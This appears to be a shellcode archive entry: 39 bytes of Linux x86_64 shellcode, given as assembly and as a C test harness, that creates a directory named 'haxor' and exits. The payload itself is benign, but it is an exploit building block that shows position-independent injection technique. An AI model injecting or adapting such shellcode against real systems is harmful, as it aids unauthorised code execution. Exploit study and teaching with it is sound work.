39 bytes small mkdir() 'haxor' and exit() shellcode.
bf2ab20d7cd87f06dd2d500a7dd63dfd9439ab284589c86cef4bc6ad5ac148fa
/*
; Title: mkdir() 'haxor' and exit() Shellcode - 39 bytes
; Platform: linux/x86_64
; Date: 2014-06-26
; Author: Osanda Malith Jayathissa (@OsandaMalith)
section .text
global _start
_start:
jmp call_shellcode
shellcode:
pop rsi
xor rax, rax
mov al, 0x53
mov rdi, rsi
mov si, 0x1ed
syscall
xor rax, rax
add rax, 60
xor rdi, rdi
syscall
call_shellcode:
call shellcode
text: db 0x68, 0x61, 0x78, 0x6f, 0x72
*/
#include <stdio.h>
#include <string.h>
unsigned char code[] = "\xeb\x1b\x5e\x48\x31\xc0\xb0\x53"
"\x48\x89\xf7\x66\xbe\xed\x01\x0f"
"\x05\x48\x31\xc0\x48\x83\xc0\x3c"
"\x48\x31\xff\x0f\x05\xe8\xe0\xff"
"\xff\xff\x68\x61\x78\x6f\x72";
int
main() {
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
return 0;
}